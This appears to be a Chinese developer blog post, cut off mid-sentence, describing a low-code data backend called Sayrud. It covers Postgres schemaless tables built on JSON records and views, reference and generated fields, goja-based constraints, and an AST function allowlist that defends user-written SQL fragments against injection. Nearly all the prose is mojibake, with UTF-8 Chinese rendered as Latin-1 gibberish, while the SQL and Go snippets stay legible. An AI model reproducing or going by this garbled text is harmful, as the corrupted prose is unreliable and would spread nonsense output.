<p>æ被èªå·±è¿ä¸ªå¤©æè¬çç¹åæé¼èï¼ç¨ PHP åäº <a href="https://github.com/wuhan005/WeBake">WeBake</a> ï¼å½æ¶çæ³æ³æ¯ç¨æ¥å¿«éæ建微信å°ç¨åºå端ãå¹´å°çæ以为èªå·±å¨åå人ä»æ¥æ²¡åè¿çä¸è¥¿ï¼æ²æµ¸å
¶ä¸å¹¶æèªçªåãç´å°è¿å
¥å¤§å¦çåä¸å¤©å¤éï¼æå¨ç¥ä¹ä¸å¶ç¶çå°äºä¸å®¶åç±»åç SaaS åºç¨æ¨å¹¿ï¼ä¹æ¯å¨è·æåç¸åçä¸è¥¿ï¼å¹¶ä¸å·²ç»å¼å§äºåä¸åï¼ææç¥éä¸å
æå¾å¤å
¬å¸é½å·²ç»å¨åäºãé£å¤©æä¸æç´æ¥å¿æçç¸ãå
³äº WeBake è¿ä¸ªé¡¹ç®åé¢ä¹å°±çæå½ç¶çå¼åäºã</p>
<p>åæ¥åççäºï¼å¤§å®¶ä¹é½ç¥éäºï¼å¾®ä¿¡åé¢åå¸äºã微信äºå¼åãçä¸ç«å¼å端解å³æ¹æ¡ï¼ç´æ¥å®æ¹å¿
æ»å人ãååæ¥ âLowCode ä½ä»£ç âçæ¦å¿µå¼å§æµè¡ï¼LeanCloud 被å¿å¨æ¸¸ææ¶è´ï¼å½å¤ AirTableãå½å
é»å¸äºãç»´æ ¼è¡¨ Vika ç产åå¼å§æµè¡èµ·æ¥…… èé£ä¸ªå½æ¶è®©æå¿æçç¸çåå°ç¨åºå端ç SaaS 产åï¼å¨äºèç½ä¸å ä¹æ¾ä¸å°å®çç迹äºã</p>
<h2 id="å¼å§å¡«å">å¼å§å¡«å</h2>
<p>æå¨ 2021 å¹´çæ¶åçå°äº Hooopo çæç« <a href="https://ruby-china.org/topics/37922">Let’s clone a Leancloud</a>ï¼éé¢ä»ç»äºä½¿ç¨ Postgres å®ç°ç±»ä¼¼ LeanCloud ç Schemaless Table çç¹æ§ãæç´å¼å¥½å®¶ä¼ï¼æ²¡æ³å° Postgres çè§å¾å JSON æ°æ®ç±»åè¿å¯ä»¥è¿æ ·ç©åºè±æ¥ãæå½æ¶å¯¹çæç« ç¨ Go å®ç°äºä¸ªå° Demoï¼æè§ç¡®å®æææãä½æ¯å 为没æå
·ä½çéæ±ï¼é£ä¸ª Demo ä¸ç´èººå¨æç GitHub éã</p>
<p>ä»å¹´ææ¾å¼ WordPress ä½¿ç¨ Hugo éæäºæ¬å客ï¼ä¸ç´æ²¡æ¾å°ä¸ªè½æ»¡è¶³æéæ±çéæå客è¯è®ºç»ä»¶ï¼ä¾¿æ³èªå·±é è½®ååä¸ä¸ªãä½æ¯è¯è®ºæå¡çå端ï¼ä¸å°±è·çè¨æ¿ä¸æ ·ï¼é½æ¯äºå¾åºç¡å¾æ èç CRUD åï¼æå·²ç»ä¸æ³åç¨ Go æ èå CRUD äºï¼è¦ä¸ææéæ±æ½è±¡ä¸å±ï¼ç´æ¥å个âä½ä»£ç æ°æ®ä¸å°âåºæ¥ï¼å¥½åæç¹ææ妅…ï¼</p>
<p>å°±è¿æ ·ï¼Sayrud è¯çäºã</p>
<h2 id="schemaless-ç¹æ§">Schemaless ç¹æ§</h2>
<p>Schemalessï¼ä¸ææºç¿»ä¸ºãæ 模å¼ãï¼è®©äººå¬å¾äºéé¾éçï¼è®©æ们ä¸æ¥æ¥æ¥ã</p>
<p>é¦å
ï¼æ°æ®åºè¯å¢ç <code>Schema</code> å¯ä»¥ç®åçç解为æ¯æ°æ®åºç表ç»æå®ä¹ï¼ææä¸å¼ å¦ç表ï¼è¡¨éæå¦å·ãå§åãç级ä¸åï¼ç¶åå¦å·æ¯ä¸»é®…… è¿äºå°±æ¯ <code>Schema</code> ãå¨å
³ç³»åæ°æ®åºä¸ï¼æ们å¾å SQL è¯å¥æ¥å®ä¹è¿å¼ 表ï¼</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#ff7b72">CREATE</span><span style="color:#6e7681"> </span><span style="color:#ff7b72">TABLE</span><span style="color:#6e7681"> </span>students<span style="color:#6e7681"> </span>(<span style="color:#ff7b72">no</span><span style="color:#6e7681"> </span>TEXT,<span style="color:#6e7681"> </span>name<span style="color:#6e7681"> </span>TEXT,<span style="color:#6e7681"> </span><span style="color:#ff7b72">class</span><span style="color:#6e7681"> </span>TEXT);<span style="color:#6e7681">
</span></span></span></code></pre></div><p>åé¢éæ±æ¹äºï¼è¦åæ°å¢ä¸åè®°å½âåºçæ¥æâï¼é£æ们å¾å SQL ä¿®æ¹è¡¨ç»æï¼</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#ff7b72">ALTER</span><span style="color:#6e7681"> </span><span style="color:#ff7b72">TABLE</span><span style="color:#6e7681"> </span>students<span style="color:#6e7681"> </span><span style="color:#ff7b72">ADD</span><span style="color:#6e7681"> </span><span style="color:#ff7b72">COLUMN</span><span style="color:#6e7681"> </span>birth_date<span style="color:#6e7681"> </span>DATE;<span style="color:#6e7681">
</span></span></span></code></pre></div><p>å¦ææ¹å¾å¤äºï¼é£è¿å°±æç¹ç¦äºãåµä¸å¨å®é
ç项ç®éæ们è¿å¾å»ç¼åæ°æ®åºè¿ç§»ç SQL 并å¨çº¿ä¸è¿è¡è¿ç§»ç Migration ç¨åºãèªæçä½ ä¼°è®¡æ³å°äºæ们å¯ä»¥ç¨ MongoDB æ¥ååï¼è¦æ°å¢ä¸åç´æ¥å¨ JSON ä¸å ä¸ä¸ªå段就è¡ï¼æ æè°ä»ä¹â表ç»æâçæ¦å¿µã表ç»æçæ¦å¿µæ²¡äºï¼ä¹å°±æ¯ <code>Schema</code> 没äºãè±æä¸å½¢å®¹è¯ <code>-less</code> åç¼æ <code>without</code> ï¼è¿å°±æäº <code>Schemaless</code> è¿ä¸ªè¯ãç®åæ¥è¯´å°±æ¯è· MongoDB ä¸æ ·ä¸å表ç»æå®ä¹çæ¡æ¡æ¡æ¡ï¼æ³å å段就å å段ã</p>
<p>å¸é¢ä¸çå¾å¤ Schemaless ç¹æ§ç产åï¼å
¶å端大å¤é½ä½¿ç¨ MongoDB å®ç°ãä½æåæä¸æå°äº Hooopo é£ç¯æç« ï¼åå ä¸æ对 Postgres ççç±ï¼æå³å®å¦è¾è¹å¾ä½¿ç¨ Postgres æ¥å®ç°ã</p>
<p>æ们平æ¶åå端ï¼éè¦å
建表ï¼å®ä¹è¡¨éæåªäºå段ï¼æåå¾è¡¨éææ°æ®ï¼å¯¹åºå° Sayrud ä½¿ç¨ <code>sl_tables</code> <code>sl_fields</code> <code>sl_records</code> ä¸å¼ 表æ¥åå¨ãï¼ä»¥ä¸ååºç表ç»æç²¾ç®äºé¡¹ç®åç»ã<code>gorm.Model</code> éå
å«çå段ï¼</p>
<ul>
<li><code>sl_tables</code>ï¼ Schemaless 表</li>
</ul>
<table>
<thead>
<tr>
<th style="text-align: center">å段å</th>
<th style="text-align: center">ç±»åï¼Goï¼</th>
<th>说æ</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align: center">name</td>
<td style="text-align: center"><code>string</code></td>
<td>表åï¼ç»ç¨åºçç</td>
</tr>
<tr>
<td style="text-align: center">desc</td>
<td style="text-align: center"><code>string</code></td>
<td>表å¤æ³¨åï¼å端ç»äººçç</td>
</tr>
<tr>
<td style="text-align: center">increment_index</td>
<td style="text-align: center"><code>int64</code></td>
<td>è®°å½å½åèªå¢ ID</td>
</tr>
</tbody>
</table>
<ul>
<li><code>sl_fields</code>ï¼Schemaless å段</li>
</ul>
<table>
<thead>
<tr>
<th style="text-align: center">å段å</th>
<th style="text-align: center">ç±»åï¼Goï¼</th>
<th>说æ</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align: center">sl_table_id</td>
<td style="text-align: center"><code>int64</code></td>
<td>å±äºåªå¼ 表</td>
</tr>
<tr>
<td style="text-align: center">name</td>
<td style="text-align: center"><code>string</code></td>
<td>å段å</td>
</tr>
<tr>
<td style="text-align: center">label</td>
<td style="text-align: center"><code>string</code></td>
<td>å段å¤æ³¨ï¼å端ç»äººçç</td>
</tr>
<tr>
<td style="text-align: center">type</td>
<td style="text-align: center"><code>string</code></td>
<td>å段类åï¼å
æ¬ <code>int</code> <code>text</code> <code>bool</code> <code>float</code> <code>timestamp</code> <code>reference</code> <code>generated</code> ç</td>
</tr>
<tr>
<td style="text-align: center">options</td>
<td style="text-align: center"><code>json.RawMessage</code></td>
<td>å段é¢å¤çå±æ§ï¼å¦é»è®¤å¼ã约ææ¡ä»¶ç</td>
</tr>
<tr>
<td style="text-align: center">position</td>
<td style="text-align: center"><code>int</code></td>
<td>å段å¨è¡¨ä¸ç顺åº</td>
</tr>
</tbody>
</table>
<ul>
<li><code>sl_records</code> ï¼Schemaless æ°æ®</li>
</ul>
<table>
<thead>
<tr>
<th style="text-align: center">å段å</th>
<th style="text-align: center">ç±»åï¼Goï¼</th>
<th>说æ</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align: center">sl_table_id</td>
<td style="text-align: center"><code>int64</code></td>
<td>å±äºåªå¼ 表</td>
</tr>
<tr>
<td style="text-align: center">data</td>
<td style="text-align: center"><code>json.RawMessage</code></td>
<td>JSON åæ°æ®ï¼Key 为å段ç IDï¼Value 为å段çå¼</td>
</tr>
</tbody>
</table>
<p>ç¶åç¥å¥çäºæ
å°±æ¥äº~ æ们æç
§ Hooopo ä¸è¿°æç« éæä»ç»çï¼ä¸ºæ¯ä¸ä¸ª Schemaless 表å½å建ä¸å¼ è§å¾ã以ä¸æ¯ä¸ä¸ªè§å¾ç SQL å®ä¹ç¤ºä¾ï¼</p>
<p><img src="https://github.red/images/2024/07/schemaless_view_sql.png" alt=""></p>
<p>å¾çäº Postgres 对 JSON ç±»åç强大æ¯æï¼æ们å¯ä»¥ä» <code>sl_records</code> 表ä¸æå JSON å段çå¼ä½ä¸ºå
容ï¼æ建åºä¸å¼ â表âï¼ææå¦ä¸ï¼</p>
<p><img src="https://github.red/images/2024/07/schemaless_view_data.png" alt=""></p>
<p>å½ç¨æ·éè¦æ¥è¯¢ Schemaless 表ä¸çæ°æ®æ¶ï¼æ们ç´æ¥æ¥è¯¢è¿å¼ è§å¾å°±è¡ãå¯¹äº GORM èè¨ï¼è¿å°±è·æ¥è¯¢ä¸å¼ æ®éç表ä¸æ ·ï¼å®é½ä¸ä¼æè¯å°è¿æ¯ç±ä¸å¼ 表æ¼åæååºæ¥çæ°æ®ãæ´ç¥å¥çæ¯ï¼å½ä½ 对çè¿å¼ è§å¾å é¤ä¸æ¡è®°å½æ¶ï¼å¯¹åºç <code>sl_records</code> åå§è¡¨ä¸çè®°å½è¡ä¹ä¼è¢«å é¤ï¼Postgres å±
ç¶è½æè¿ä¿©å
³èèµ·æ¥ã</p>
<p>å
·ä½å°ä»£ç å®ç°ä¸ï¼æ们éè¦å¨ææé å建è§å¾ç SQL è¯å¥ãèåå段ã表åè¿ç±»å
³é®åå¨ SQL è¯å¥ä¸æ¯ä¸æ¯æ SQL é¢ç¼è¯ä¼ å
¥çï¼ä¸ºäºé¿å
æ½å¨ç SQL 注å
¥é£é©ï¼æ使ç¨äº <a href="https://github.com/tj/go-pg-escape">github.com/tj/go-pg-escape</a> åºæ¥å¯¹å段åå表åè¿è¡è½¬ä¹ã</p>
<p>æ£å¦ Hooopo æç« ä¸ææå°çï¼æå°è¿ä¸ªè§å¾å建å¨äºå¦ä¸ä¸ª Postgres Schema ä¸ï¼ä¸é»è®¤ç <code>public</code> è¿è¡åºåï¼è¿ä¹æ¯ä¸ç§ç®æçå¤ç§æ·å®ç°äºã</p>
<div class="box-warning box"><i class="box-icon-warning"></i>
æå注æï¼
ä¹åçå°è¿è¿ç¯æç« ï¼ <a href="https://mp.weixin.qq.com/s/8T4Lgis9q30jHaSAfT3jgQ">ãæä»¬ä½¿ç¨ Postgres æ建å¤ç§æ· SaaS æå¡æ¶è¸©çåã</a>ï¼æä¸æå°ä½¿ç¨ Postgres Schema æ建å¤ç§æ·æ¶ï¼å¦ææ¯ä¸ª Postgres Schema ä¸é½æ¯åæ ·ç表ç»æï¼åæ¶å¯¹ææ Postgres Schema ä¸ç表ç»æåæ´ä¼ææ§è½é®é¢ãä½ä¸è¿°åºæ¯å¨æ们è¿éä¸åå¨ï¼å¯ä»¥å¿½ç¥è¯¥é®é¢ã
</div>
<h2 id="å¼ç¨åçæåå段约æçå®ç°">å¼ç¨åãçæåãå段约æçå®ç°</h2>
<p>å½æ们å¼åä¸ä¸ªå客è¯è®ºå端æ¶ï¼åè½ä¸éè¦æ¯æåå¤ä»äººçè¯è®ºï¼å³æ°æ®ä¹é´ä¼åå¨å¼ç¨å
³ç³»ï¼æ们ä¸è¬ä¼å¨ <code>comments</code> 表ä¸å ä¸å <code>parent_comment_id</code> æ¥åå¨ç¶è¯è®ºç IDã对åºå° Schemaless çå段类åéï¼å°±éè¦æ <code>reference</code> è¿æ ·ä¸ç§å¼ç¨ç±»åã</p>
<p>æç设计æ¯ï¼å½å段类å为 <code>reference</code> æ¶ï¼å
¶å段å¼åå¨çæ¯æå¼ç¨è®°å½ç UIDï¼å段é¢å¤å±æ§ <code>options</code> éè®°å½å®å®é
å±ç¤ºçåï¼å¦ä¸å¾æ示ï¼</p>
<img style="box-shadow: none;" src="https://github.red/images/2024/07/reference_table.png" />
<p>å¨çæè§å¾æ¶ï¼ä½¿ç¨ Postgres <code>json_build_object</code> æ¥æé <code>reference</code> ç±»åå段å±ç¤ºç JSONãï¼å次æå¹ Postgres çæ¯å¤ªå¼ºå¤§äºï¼ï¼JSON ä¸çå段 <code>u</code> 为å
³èè®°å½çå¯ä¸ UIDï¼æ¹ä¾¿å端å¤çæ¶æ¾å°è¿ä¸æ¡è®°å½ã<code>v</code> 为å
³èè®°å½çå±ç¤ºå段ï¼ç¨äºå¨å端 Table è¡¨æ ¼ä¸å±ç¤ºç»ç¨æ·çã</p>
<p>å¨å®é
çå客è¯è®ºè®°å½ä¸ï¼ä¸æ¡è¯è®ºæ¯ä¸è½å°èªå·±ä½ä¸ºèªå·±çç¶çº§è¯è®ºçãå³æ们è¦å¯¹ <code>reference</code> å段çå¼ç¨å¼è¿è¡çº¦æãæç» <code>reference</code> å段å äºä¸ä¸ª <code>constraint</code> å±æ§ï¼ç¨æ·å¯ä»¥è¾å
¥ JavaScript 表达å¼æ¥èªå®ä¹çº¦æè¡ä¸ºãJavaScript 表达å¼è¿å <code>true</code> / <code>false</code> ï¼æ¥è¡¨ç¤ºæ°æ®æ ¡éªæ¯å¦éè¿ãèåçå®ç°æ¯æ¥äº <a href="https://github.com/dop251/goja">goja</a> è¿ä¸ª Go ç JavaScript Engine åºãæå°å½åè®°å½ä¼ å
¥ JavaScript è¿è¡æ¶ç <code>$this</code> åéä¸ï¼å°è¢«å
³èçè®°å½ä¼ å
¥ <code>$that</code> åéä¸ï¼å¯¹äºä¸è¿°éæ±ï¼æ们åªéè¦å <code>$this.uid !== $that.uid</code> å°±å¯ä»¥çº¦æä¸æ¡è¯è®ºçç¶è¯è®ºä¸è½æ¯å®èªèº«ã</p>
<p><img src="https://github.red/images/2024/07/reference_field_constraint.png" alt=""></p>
<p>é¤äºè½å¼ç¨ä»äººçè¯è®ºï¼å¨å客è¯è®ºä¸è¿éè¦å±ç¤ºè¯è®ºè
ç头åï¼é常çåæ³æ¯ä½¿ç¨è¯è®ºè
ççµåé®ç®±å»è·åå
¶ Gravatar 头åè¿è¡å±ç¤ºãå³å°è¯è®ºè
ççµåé®ç®±å°åå
¨é¨è½¬æ¢ä¸ºå°ååï¼åå MD5 åå¸ï¼æ¼æ¥å° <code>https://gravatar.com/avatar/</code> æè
å
¶ä»éåç«å°åä¹åãå¨ Postgres éæ们å¯ä»¥ä½¿ç¨<a href="https://www.postgresql.org/docs/current/ddl-generated-columns.html">çæåï¼Generated Columnsï¼</a>æ¥å¾è½»æ¾çåå°è¿ä¸ç¹ï¼</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#ff7b72">CREATE</span><span style="color:#6e7681"> </span><span style="color:#ff7b72">TABLE</span><span style="color:#6e7681"> </span>comments<span style="color:#6e7681"> </span>(<span style="color:#6e7681">
</span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>email<span style="color:#6e7681"> </span>TEXT,<span style="color:#6e7681">
</span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>email_md5<span style="color:#6e7681"> </span>TEXT<span style="color:#6e7681"> </span><span style="color:#ff7b72">GENERATED</span><span style="color:#6e7681"> </span>ALWAYS<span style="color:#6e7681"> </span><span style="color:#ff7b72">AS</span><span style="color:#6e7681"> </span>(md5(<span style="color:#ff7b72">lower</span>(email)))<span style="color:#6e7681"> </span>STORED<span style="color:#6e7681">
</span></span></span><span style="display:flex;"><span><span style="color:#6e7681"></span>);<span style="color:#6e7681">
</span></span></span></code></pre></div><p>ä½å¨ Schemaless Table éå¢ï¼ä¸å¼å§æçæ³æ³æ¯åä¸é¢åå段约æä¸æ ·æ¥ JavaScript Engineï¼å¨æ·»å æ°æ®æ¶è·ä¸é JavaScript 表达å¼è®¡ç®åºçæåçå¼å°±è¡ãä½è¿åå¨ä¸ä¸ªé®é¢ï¼å¦æ JavaScript 表达å¼è¢«ä¿®æ¹äºï¼é£å°±å¾å
¨è¡¨éæ°è·éæ°æ´æ°å·ä¸éæ°æ®ï¼è¿æ¯æ æ³æ¥åçã</p>
<p>æåè¿æ¯éæ©è®©ç¨æ·ç¼å Postgres SQL è¯å¥ç段ï¼ç¨ä½å建è§å¾æ¶çæåçå®ä¹ï¼å°±ååé¢è§å¾ç SQL å®ä¹é£å¼ å¾éçï¼</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span>md5(<span style="color:#ff7b72">lower</span>(sl_records.<span style="color:#ff7b72">data</span><span style="color:#6e7681"> </span><span style="color:#ff7b72;font-weight:bold">->></span><span style="color:#6e7681"> </span><span style="color:#a5d6ff">'YXSQhESl'</span>::text))<span style="color:#6e7681"> </span><span style="color:#ff7b72">AS</span><span style="color:#6e7681"> </span>email_md5,<span style="color:#6e7681">
</span></span></span></code></pre></div><p>ä½æ¢ç¶ç¨æ·è½ç´æ¥ç¼ååç SQLï¼SQL è¿ä¼è¢«æ¼æ¥è¿æ¥å建è§å¾ï¼é£æè¿ä¸ç´æ¥ SQL 注å
¥è¢«æ³¨çäºï¼å°±ç®ç¨é»ååæ¥è¿æ»¤å符串ç¹æ®å符ä¸å
³é®åï¼ä¿ä¸é½åé¢åºæ¥ä¸ªæä¸ç¥éçæ¹æ³ç»ç»äºãè¿éæ使ç¨äº <a href="https://github.com/auxten/postgresql-parser">auxten/postgresql-parser</a> è¿ä¸ªåºï¼Bytebase ä¹å¨ç¨ï¼æ¥å°ç¨æ·è¾å
¥ç SQL è¯å¥è§£ææ ASTï¼ç¶å Walk éåæ ä¸çæ¯ä¸ªèç¹ï¼åç°æ <code>UNION</code> <code>JOIN</code> 以åç½ååå¤çå½æ°è°ç¨å°±ç´æ¥ç¦æ¢æ交ãå¦ææ人 bypass äºè¿ä¸ªåºç解æè§åç»è¿äºæçæ£éªï¼é£ä¹å°±çåäºä»æ¾å°äº CockroachDB çæ´ï¼è¿ä¸ª AST 解æåºæ¯ä» CockroachDB æºç ä¸æåºæ¥çï¼ï¼é£æç´æ¥æ¿å»æ°´ä¸ª CVEãð</p>
<p>å¨å
·ä½ä»£ç å®ç°ä¸ï¼ç±äº postgresql-parser è¿ä¸ªåºåªè½è§£æå®æ´ç SQL è¯å¥ï¼èç¨æ·è¾å
¥çæ¯ <code>md5(lower(email))</code> è¿æ ·ç SQL ç段ï¼æä¼å¨ç¨æ·è¾å
¥åæ¼ä¸ä¸ª <code>SELECT </code> å解æãèå <code>email</code> è¿ç§å段åï¼ç±äºæä¾æ²¡æä¸ä¸æï¼ä¼è¢«è§£ææ <code>*tree.UnresolvedName</code> èç¹ãæéè¦å°è¿äº <code>*tree.UnresolvedName</code> èç¹ç<strong>å¼</strong>æ¿æ¢æ <code>sl_records.data ->> 'YXSQhESl'::text</code> è¿æ ·ç JSON åå¼<strong>è¯å¥</strong>ï¼ç´æ¥ä¿®æ¹èç¹çè¯åºæ¥çè¯å¥ä¼æ¯ï¼</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span>md5(<span style="color:#ff7b72">lower</span>(<span style="color:#a5d6ff">"sl_records.data ->> 'YXSQhESl'::text"</span>))<span style="color:#6e7681">
</span></span></span></code></pre></div><p>å®å°è¿æ´ä¸åç¨åå¼å·å
裹ï¼ä¼è¢« Postgres ä¸æ´ä¸ªå½åååå»è§£æãæä¹æ²¡è½æ¾å°å¨ Walk éä¿®æ¹èç¹å±æ§çæ¹æ³ï¼æååªè½ç¨ä¸ä¸ªæ¯è¾ä¸éç HACKï¼æ¿æ¢èç¹å
容æ¶ååå ä¸ä¸æ®µåé符ï¼å¨æåçæç SQL è¯å¥ä¸æ¾å°è¿ä¸ªåé符ï¼å°åé符åå®åé¢ç <code>"</code> å¼å·å»æã<del>ï¼ä¸ç±å¾æ³èµ· PHP ååºååå符é鸅…ï¼</del></p>
<p>æç»å®ç°å¤§è´å¦ä¸ï¼ç®åå½æ°ç½ååä»
æ¾å¼äºæå°æ°çåå¸å½æ°åå符串å¤çå½æ°ãæè¿åäºä¸å°åå
æµè¯æ¥æµè¿ä¸ªå½æ°çå®å
¨æ§ï¼å¸æ没æ´å§……</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#ff7b72">var</span> whiteFunctions = []<span style="color:#ff7b72">string</span>{
</span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">"md5"</span>, <span style="color:#a5d6ff">"sha1"</span>, <span style="color:#a5d6ff">"sha256"</span>, <span style="color:#a5d6ff">"sha512"</span>,
</span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">"concat"</span>, <span style="color:#a5d6ff">"substring"</span>, <span style="color:#a5d6ff">"substr"</span>, <span style="color:#a5d6ff">"length"</span>, <span style="color:#a5d6ff">"lower"</span>, <span style="color:#a5d6ff">"upper"</span>,
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#ff7b72">func</span> <span style="color:#d2a8ff;font-weight:bold">SterilizeExpression</span>(ctx context.Context, input <span style="color:#ff7b72">string</span>, allowFields <span style="color:#ff7b72">map</span>[<span style="color:#ff7b72">string</span>]<span style="color:#ff7b72">string</span>) (<span style="color:#ff7b72">string</span>, <span style="color:#ff7b72">error</span>) {
</span></span><span style="display:flex;"><span> w <span style="color:#ff7b72;font-weight:bold">:=</span> <span style="color:#ff7b72;font-weight:bold">&</span>walk.AstWalker{
</span></span><span style="display:flex;"><span> Fn: <span style="color:#ff7b72">func</span>(ctx <span style="color:#ff7b72">interface</span>{}, node <span style="color:#ff7b72">interface</span>{}) (stop <span style="color:#ff7b72">bool</span>) {
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">switch</span> v <span style="color:#ff7b72;font-weight:bold">:=</span> node.(<span style="color:#ff7b72">type</span>) {
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72;font-weight:bold">...</span>
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">case</span> <span style="color:#ff7b72;font-weight:bold">*</span>tree.UnresolvedName:
</span></span><span style="display:flex;"><span> inputFields = append(inputFields, v.<span style="color:#d2a8ff;font-weight:bold">String</span>())
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#8b949e;font-style:italic">// HACK: We add separator to get the field name.</span>
</span></span><span style="display:flex;"><span> v.Parts[<span style="color:#a5d6ff">0</span>] = <span style="color:#a5d6ff">"!<----!"</span> <span style="color:#ff7b72;font-weight:bold">+</span> allowFields[v.Parts[<span style="color:#a5d6ff">0</span>]] <span style="color:#ff7b72;font-weight:bold">+</span> <span style="color:#a5d6ff">"!---->!"</span>
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72;font-weight:bold">...</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> <span style="color:#79c0ff">false</span>
</span></span><span style="display:flex;"><span> },
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72;font-weight:bold">...</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#8b949e;font-style:italic">// Remove the separator.</span>
</span></span><span style="display:flex;"><span> sql = strings.<span style="color:#d2a8ff;font-weight:bold">ReplaceAll</span>(sql, <span style="color:#a5d6ff">`"!<----!`</span>, <span style="color:#a5d6ff">""</span>)
</span></span><span style="display:flex;"><span> sql = strings.<span style="color:#d2a8ff;font-weight:bold">ReplaceAll</span>(sql, <span style="color:#a5d6ff">`!---->!"`</span>, <span style="color:#a5d6ff">""</span>)
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> sql, <span style="color:#79c0ff">nil</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h2 id="api-æ¥å£è®¾è®¡">API æ¥å£è®¾è®¡</h2>
<p>èå®äº Schemaless ç¹æ§çå®ç°ï¼æ们åæ¥çä¸èªå®ä¹ API æ¥å£çå®ç°ãè¿éç´æ¥ä¸å端çæä½é¡µé¢ï¼æ¹ä¾¿ææ¥éä¸ä»ç»ã</p>
<p><img src="https://github.red/images/2024/07/update_api_example.png" alt=""></p>
<p>åèä¹åç¨è¿ç Pocketbaseï¼æå°æ¥å£å为 <code>LIST</code> <code>VIEW</code> <code>CREATE</code> <code>UPDATE</code> <code>DELETE</code> äºç§ç±»åã注æè¿ä¸ HTTP 请æ±å¨è¯ææ°æ®åº DDL æä½å¹¶æ å
³ç³»ï¼æ¯åä¸å¡ä¸çå®ä¹ã<code>LIST</code> è¿åå¤æ¡æ°æ®ã<code>VIEW</code> æ¥è¯¢åæ¡æ°æ®ã<code>CREATE</code> æ·»å æ°æ®ã<code>UPDATE</code> ä¿®æ¹æ°æ®ã<code>DELETE</code> å é¤æ°æ®ã</p>
<p>å°±åæ们åå端éè¦å®ä¹è·¯ç±ä¸æ ·ï¼æ¯ä¸ª API æ¥å£ä¼æå®è¯·æ±æ¹æ³åè·¯å¾ã以åä¼å®ä¹æ¯ä¸ªæ¥å£å®ä» GET Query å POST Body å¤æ¥æ¶çå段ãè¿äºå段é¤äºè¦æè±æçåæ°åå¤ï¼è¿éè¦æç»äººççæ ç¾åï¼ç¨äºå±ç¤ºå¨æ°æ®æ ¡éªçæ¥éä¿¡æ¯éã</p>
<p>ç¶åæ们ä¼éæ©ä¸å¼ Schemaless æ°æ®è¡¨ä½ä¸ºæ°æ®æºï¼è®°å¾å¨ Dreamweaver éå«âè®°å½éâï¼ï¼æä¼ å
¥åæ°ä¸æ°æ®è¡¨ä¸çå段åæ å°ï¼è¿æ ·å°±å®æäºå¯¹æ°æ®çæä½æµç¨ãèå°±æ´ä¸ªè¯·æ±èè¨ï¼å¨è¯·æ±å¼å§åæ们å¯è½ä¼æ³åä¸å±éæµæè
éªè¯ç ï¼è¯·æ±ç»æåéè¦åééç¥é®ä»¶æ触å WebHookï¼å æ¤è¿éè¦æ¯æé
置路ç±ä¸é´ä»¶ã</p>
<p>è¿éæ两个å¼å¾æ¿æ¥è®¨è®ºçé¨åï¼æ°æ®æºççéè§åä¸å端ææ½é
置路ç±ä¸é´ä»¶ã</p>
<h2 id="filter-dsl">Filter DSL</h2>
<p>æ们çæ¥å£ç»å¸¸ä¼æä¼ å
¥ <code>?id=1</code> æ¥çéæå®ä¸æ¡æ°æ®çéæ±ï¼ç¡®åç说æ¯å¨ <code>LIST</code> <code>VIEW </code> <code>UPDATE</code> <code>DELETE</code> åç§ç±»åä¸é½ä¼éå°ãSchemaless 表çå¢å æ¹æ¥å¨ä»£ç ä¸æç»é½æ¯ç¨ GORM æ¥æé SQL 并æ§è¡çï¼âçéâ对åºæ¥è¯¢ä¸ç <code>WHERE</code> ï¼å¯¹åº GORM ä¸ç <code>Where</code> æ¹æ³ãç¨æ·å¨å端ç¼è¾å¥½çéæ¡ä»¶åï¼éè¦è½âç¿»è¯âæ GORM ç Where æ¥è¯¢æ¡ä»¶ï¼ä¸ä¸ª <code>clause.Expression</code> ç±»åçåéï¼ã</p>
<p>æå¨è¿é设计äºä¸ç§ä½¿ç¨ JSON æ ¼å¼æ¥è¡¨ç¤º Where æ¥è¯¢æ¡ä»¶çæ¹æ³ãä¸ä¸ªæ¥è¯¢æ¡ä»¶å为两ç§ç±»åï¼ä¸ç§æ¯åæä½ç¬¦ï¼ä»
